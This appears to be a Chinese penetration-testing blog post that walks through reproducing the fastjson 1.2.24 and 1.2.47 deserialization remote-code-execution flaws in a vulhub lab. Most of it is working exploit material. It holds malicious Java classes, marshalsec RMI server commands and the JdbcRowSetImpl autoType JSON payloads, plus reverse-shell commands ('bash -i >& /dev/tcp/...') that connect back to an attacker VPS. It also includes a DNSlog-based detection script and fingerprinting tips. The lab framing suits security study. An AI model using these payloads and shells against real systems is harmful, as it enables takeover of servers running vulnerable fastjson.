目录
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
Fastson
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
优点:
- 速度快:fastjson相对其他JSON库的特点是快,从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越。
- 使用广泛:fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。
Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。但是,从诞生之初,fastjson就多次被爆出存在反序列化漏洞。并且,每次都和autoType有关!那么,什么是autoType呢:https://zhuanlan.zhihu.com/p/157211675?from_voters_page=true
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
环境要求
1. JDK小于 1.9 ,这里用到的 openjdk version "1.8.0_272"(一定不要用高版本的不然会复现不出来)
2 .靶机Ubuntu
3. 攻击机 VPS
4. 工具: marshalsec-0.0.3-SNAPSHOT-all.jar
复现过程
利用vulhub的环境,执行docker-compose up -d 访问8090,出现如下说明环境搭建成功
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
curl http://192.168.140.158:8090/ -H "Content-Type: application/json" --data '{"name":"xzc", "age":23}'
如下
编辑恶意类
编译如下Exploit.java代码为class文件
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success666"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
进行编译,生成class文件:
javac Exploit.java
将这两个文件上传到VPS的同一个目录下
python 起HTTP服务
用VPS起HTTP服务,需在fastjson文件的目录下
python3 -m http.server 6666
如果是python2的话就是
python -m SimpleHTTPServer 11111
然后我们可以在浏览器上访问这个HTTP服务,访问成功就说明服务开启成功了
起RMI服务
最后,我们使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9999端口,并制定加载远程类 Exploit.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://http://VPS服务器ip地址:端口/#Exploit" 9999
数据包攻击
提交下面的payload
POST / HTTP/1.1
Host: 192.168.140.158:8090 //靶机的ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS的ip:9999/Exploit",
"autoCommit":true
}
服务器响应500则发送成功
可以看到我们这边监听也收到了请求,如果出现了warning(是因为攻击机的jdk版本大于1.9)
进入容器查看,docker ps 列出正在运行的容器,可能会有几个相同名字的容器千万不要进错了!!不然以为自己没有创建成功
进入容器
docker exec -it 8884066735aa bash
反弹shell
以上实现了远程命令执行,下面进行反弹shell
前面的步骤一样的:
1. 起http服务
2. 编辑恶意类(这里将类中创建文件的命令改为反弹shell的命令就行)
3. 发送数据包
Exploit.java就得修改为反弹shell的命令
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/6666 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
vps监听 nc -lvp 6666
发送数据包
提交下面的payload
POST / HTTP/1.1
Host: 192.168.140.158:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS的:9999/Exploit",
"autoCommit":true
}
POC检测脚本(利用DNSlog)
python poc.py url
脚本内容如下
#author:xcc
import requests
import os
import random
from hashlib import md5
import json
import argparse
import sys
class Fastjson_1_2_24():
def url(self):
parser = argparse.ArgumentParser(description='fastjson 1.2.24 反序列化导致任意命令执行漏洞检测POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
args = parser.parse_args()
global target_url
target_url = args.target_url
print("fastjson 1.2.24 反序列化导致任意命令执行漏洞检测POC!!")
print("正在执行检测...")
print("目标地址:",target_url)
return target_url
def randmd5(self):
new_md5 = md5()
new_md5.update(str(random.randint(1, 1000)).encode())
return new_md5.hexdigest()[:6] #取前6位
def get_domain(self):
global header
header={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
global rand
rand = self.randmd5()
getDoMain = 'http://www.dnslog.cn/getdomain.php'
try:
r = requests.get(getDoMain, headers=header, timeout=5)
if r.status_code == 200:
global dnslogUrl
dnslogUrl = rand + '.' + r.text
else:
sys.exit()
print(dnslogUrl)
return dnslogUrl
except:
print('Exception found')
sys.exit()
def post_target(self):
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Connection': 'close',
'Content-Type': 'application/json',
}
data = {"zeo":{"@type":"java.net.Inet4Address","val":dnslogUrl}}
try:
re = requests.post(url=target_url,data=json.dumps(data),headers=headers,timeout=5)
print("正在请求目标地址...")
except:
print('Exception found')
sys.exit()
def get_records(self):
getRecords = 'http://www.dnslog.cn/getrecords.php'
try:
res = requests.get(getRecords,headers=header,timeout=5)
except:
print('请求失败!')
if res.status_code == 200:
if rand in res.text:
print(res.text)
print(f"疑似存在漏洞")
else:
print("不存在漏洞")
else:
print("请求失败!")
sys.exit(0)
def main(self):
self.url()
self.randmd5()
self.get_domain()
self.post_target()
self.get_records()
if __name__ == '__main__':
exploit = Fastjson_1_2_24()
exploit.main()
Fastjson 1.2.47 远程命令执行漏洞
和fastjson1.2.24差不多,就是poc不一样而已
环境搭建也是一样的
漏洞复现
TouchFile.java文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac TouchFile.java 编译
将两个文件上传到VPS
起python服务
python3 -m http.server 11111
起RMI服务
使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9999端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps地址:11111/#TouchFile" 9999
发送数据包
POST / HTTP/1.1
Host: 192.168.140.158:8090 #靶机地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS地址:端口/Exploit", #这里的Exploit不能变
"autoCommit":true
}
}
注意
发送数据包后,RMI服务和http服务,必须接收到如下返回的数据才说明发送payload成功
RMI服务
http服务
查看文件是否创建成功
反弹shell
将创建文件的命令换为反弹shell的命令就行,其他所有的步骤都一样!!
TouchFile.java文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
//创建文件的命令为:String[] commands = {"touch", "/tmp/success"};
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/vps地址/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
fastjson指纹识别
当我们在渗透测试中,抓包的时候发现返回的流量内容存在json格式时,我们就可以想它是不是使用了fastjson库
接着我们可以进一步进行判断
1. 根据报错信息判断
发送一个post请求,发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息。如果屏蔽了报错信息请看第二条
2. 利用dnslog盲打
对目标发送一个POST请求,内容如下
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
DNSlog刷新成功
—— 心,若没有栖息的地方,到哪里都是流浪